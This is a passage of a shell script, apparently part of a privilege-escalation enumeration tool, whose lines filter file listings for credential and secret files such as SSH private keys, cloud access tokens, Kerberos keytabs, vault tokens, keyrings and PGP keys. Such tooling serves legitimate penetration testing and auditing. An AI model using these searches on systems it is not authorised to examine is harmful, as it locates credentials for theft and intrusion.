-  PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70)
-  PSTORAGE_VNC=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70)
-  PSTORAGE_LDAP=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "ldap$" | sort | uniq | head -n 70)
-  PSTORAGE_OPEN_VPN=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70)
-  PSTORAGE_SSH_FILES=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70)
-  PSTORAGE_CERTSB4=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70)
-  PSTORAGE_CERTSBIN=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70)
-  PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70)
-  PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70)
-  PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -v -E '\..{1,4}$' | grep -E "^/usr|^$GREPHOMESEARCH" | grep -E ".*ssh.*config.*$|.*config.*ssh.*$" | sort | uniq | head -n 70)
-  PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70)
-  PSTORAGE_KERBEROS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$" | sort | uniq | head -n 70)
-  PSTORAGE_KIBANA=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70)
-  PSTORAGE_KNOCKD=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70)
-  PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "logstash$" | sort | uniq | head -n 70)
-  PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70)
-  PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70)
-  PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.vault-token$" | sort | uniq | head -n 70)
-  PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "couchdb$" | sort | uniq | head -n 70)
-  PSTORAGE_REDIS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "redis\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_MOSQUITTO=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "neo4j$" | sort | uniq | head -n 70)
-  PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70)
-  PSTORAGE_ERLANG=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70)
-  PSTORAGE_GMV_AUTH=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_IPSEC=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.irssi$" | sort | uniq | head -n 70)
-  PSTORAGE_KEYRING=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70)
-  PSTORAGE_FILEZILLA=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "filelliza$|filezilla\.xml$" | sort | uniq | head -n 70)
-  PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70)
-  PSTORAGE_SPLUNK=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "passwd$" | sort | uniq | head -n 70)
-  PSTORAGE_GITLAB=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -v -E '/lib' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70)
-  PSTORAGE_PGP_GPG=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70)
